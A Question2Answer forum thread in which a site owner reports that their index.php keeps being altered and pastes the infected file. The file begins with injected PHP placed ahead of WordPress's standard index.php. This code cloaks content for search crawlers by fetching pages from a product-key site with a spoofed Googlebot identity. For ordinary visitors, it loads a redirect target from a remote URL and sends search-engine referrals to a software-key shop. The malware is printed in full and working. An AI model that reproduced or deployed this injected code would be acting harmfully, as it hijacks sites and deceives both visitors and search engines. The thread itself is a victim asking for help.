Welcome to the Question2Answer Q&A. There's also a demo if you just want to try it out.
+2 votes
730 views
in Q2A Core by

Hello Everyone

My index.php changing daily. Im uploading again but it is changing.

 

This is content of changed index.php

<?php

if(!empty($_GET['tetes'])){

echo 'ok123344';

}

$tmp = strtolower($_SERVER['HTTP_USER_AGENT']);

$mysite = "https://kampusgenc.com/";

$filename = "";

$fromsite = "https://workingkeys.org/microsoft-office-2016-working-product-key/";

if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) {

$ksite = !empty($_GET['p']) ? $_GET['p'] : "";

$list = array(

);

$listname = $filename . "?p=";

$liststr = "<div style='text-align: center'>";

foreach ($list as $key => $val) {

if ($ksite == $key) {

$fromsite = $val;

}

$liststr .= "<a href='" .$mysite .  $filename . "?p=" . $key . "'>" . $key . "</a>&nbsp;&nbsp;";

}

$liststr .= "</div>";

$url = empty($_GET['view']) ? "" : $_GET['view'];

if(function_exists('curl_init')){

$s = curl_init();

curl_setopt($s,CURLOPT_URL,$fromsite . $url);

curl_setopt($s,CURLOPT_RETURNTRANSFER,1);

curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');

curl_setopt($s,CURLOPT_REFERER,"http://www.google.com");

curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240'));

$content = curl_exec($s);

}else{$content=file_get_contents($fromsite . $url);}

if (!empty($ksite)) {

$qstr = $filename . "?p=" . $ksite . "&view=";

} else {

$qstr = $filename . "?view=";

}

$repstr = $mysite . $qstr;

$content = str_ireplace('href="', 'href="/', $content);

$content = str_ireplace('href="//', 'href="/', $content);

$content = str_ireplace('href="/http', 'href="http', $content);

$content = str_ireplace('href="/http', 'href="http', $content);

$content = str_replace('href="/', 'href="' . $fromsite, $content);

$content = str_ireplace('src="', 'src="/', $content);

$content = str_ireplace('src="//', 'src="/', $content);

$content = str_ireplace('src="/http', 'src="http', $content);

$content = str_ireplace('src="/http', 'src="http', $content);

$content = str_replace('src="/', 'src="' . $fromsite, $content);

$content = str_ireplace($fromsite, $repstr, $content);

$content = str_replace($repstr . "skin", $fromsite . "skin", $content);

$content = str_replace($repstr . "style", $fromsite . "style", $content);

$content = str_replace($repstr . "js", $fromsite . "js", $content);

$content = str_replace($repstr . "media", $fromsite . "media", $content);

$content = str_replace($repstr . "res", $fromsite . "res", $content);

$content = str_replace("</body>",$liststr . "</body>", $content);

$domain= str_replace(array("https://www.","http://www.","https://","http://","/"),"",$mysite);

$content = preg_replace("#href=(\"|')(http|https)://(?!(www\.)?".str_replace(".","\.",$domain).")(.*?)(\"|')#i", "href=\"#\"", $content);

  if(empty($url)){

$content = preg_replace("#<link\srel=\"canonical\"\shref=\"(.*?)/>#","",$content);

$content = str_ireplace("</title>","</title>\r\n<link rel=\"canonical\" href=\"{$mysite}\" />",$content);}

echo $content;

        exit;

} else {

$ch = curl_init();

$timeout = 2;

curl_setopt ($ch, CURLOPT_URL, "http://fingerling.org/hui/url.txt");

curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);

$tiaourl = curl_exec($ch);

curl_close($ch);

if(empty($tiaourl)){

$tiaourl = "https://www.buywin10.com/";

}

if(isset($_GET['view']) || isset($_GET['p']))          

{

header("location: " . $tiaourl);

exit;

}if(empty($_COOKIE['haircki'])){

 $ref = strtolower($_SERVER['HTTP_REFERER']);

if (strpos ($ref, 'google') !== false || strpos ($ref, 'yahoo') !== false || strpos ($ref, 'bing') !== false || strpos ($ref, 'aol') !== false || strpos ($ref, 'ask') !== false || strpos ($ref, 'search') !== false) {

$in = ("/");

if($_SERVER["REQUEST_URI"]==$in){header("location: " . $tiaourl);exit;}}

}

setcookie('haircki','haircooki', time()+3600*24);

}

?><?php

/**

 * Front to the WordPress application. This file doesn't do anything, but loads

 * wp-blog-header.php which does and tells WordPress to load the theme.

 *

 * @package WordPress

 */

/**

 * Tells WordPress to load the WordPress theme and output it.

 *

 * @var bool

 */

define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */

require( dirname( __FILE__ ) . '/wp-blog-header.php' );?>

Q2A version: 1.8.3
by
+1
hacked your site.
by
contact your host provider maybe there's a bug in the server..
and do a Caching clean-up from Caching tap and Database clean-up from stats tap in your Admin Panel

Please log in or register to answer this question.

...